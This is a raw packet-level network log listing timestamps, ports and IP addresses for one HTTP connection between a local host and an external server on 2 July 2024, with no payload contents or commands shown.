Jul 2, 2024 04:12:06.565252066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565259933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565268040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565296888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565331936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565341949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565356016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565376997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565377951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565390110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565392017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565403938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565414906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565421104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565428019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565431118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565443993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565449953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565457106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565464973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565465927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565495968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565505028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565515041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565531015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565534115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565543890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565548897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565556049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565568924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565572977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565584898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565603018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565619946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565624952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565640926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565661907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565670967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565679073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565685034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565686941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565711975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565716982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565726995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565736055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565763950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565774918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565785885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565804005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565808058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565830946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565831900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565850973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565867901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565869093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565879107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565923929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565937996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565947056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565967083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565975904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565984011 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566009998 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566020012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566030979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566046953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566061020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566068888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566082001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566107988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566138983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566148996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566164970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566184044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566205025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566209078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566219091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566236019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566246033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566257000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566283941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566313982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566323042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566340923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566349983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566364050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566369057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566371918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566382885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566400051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566400051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566412926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566416979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566441059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566462994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566493034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566504002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566520929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566540003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566550970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566560984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566562891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566579103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566595078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566616058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566732883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566742897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566761017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566781044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566787958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566801071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566802025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566816092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566824913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566832066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566842079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566848993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566854954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566862106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566874027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566883087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566890955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566900969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566904068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566919088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566929102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566935062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566950083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566960096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566963911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566976070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.566982031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.566997051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567004919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567015886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567019939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567039013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567044020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567054033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567054987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567070961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567079067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567086935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567089081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567101955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567105055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567121029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567126036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567140102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567152023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567162991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567183018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567193985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567207098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567214012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567215919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567234993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567249060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567287922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567298889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567315102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567323923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567332983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567347050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567356110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567358017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567375898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567387104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567406893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567414045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567418098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567435980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567445993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567447901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567466021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567467928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567478895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567495108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.567495108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567509890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.567533970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.819726944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819742918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819761992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819770098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819785118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819792986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819808960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819827080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819840908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819853067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819864988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819880009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819885015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.819890022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819904089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819916010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819926977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819935083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819950104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819961071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819972992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819984913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.819998026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820003986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820008039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820025921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820028067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820055008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820063114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820218086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820235968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820250034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820256948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820264101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820272923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820274115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820283890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820293903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820300102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820310116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820318937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820326090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820334911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820341110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820353031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820365906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820372105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820382118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820386887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820398092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820409060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820413113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820422888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820432901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820437908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820446968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820463896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820470095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820477009 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820487022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820501089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820509911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820516109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820525885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820540905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820542097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820552111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820559978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820568085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820576906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820591927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820596933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820600986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820611954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820619106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820628881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820641041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820664883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820672035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820681095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820683002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820698023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820708036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820720911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820732117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820744038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820750952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820758104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820761919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820768118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820782900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820785046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820796013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820811033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820813894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820822954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820827961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820827961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820842981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820847988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820858955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820862055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820872068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820883989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820890903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820900917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820909023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820914030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820924044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820938110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820940971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820960045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820967913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820976019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820976019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.820983887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.820998907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821000099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821000099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821008921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821023941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821027040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821033001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821038008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821052074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821053028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821062088 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821069002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821078062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821083069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821093082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821101904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821108103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821119070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821126938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821134090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821149111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821152925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821158886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821172953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821182013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821192026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821199894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821203947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821213961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821227074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821228027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821243048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821243048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821255922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821259022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821270943 CEST	80	49704	85.28.47.4	192.168.2.5
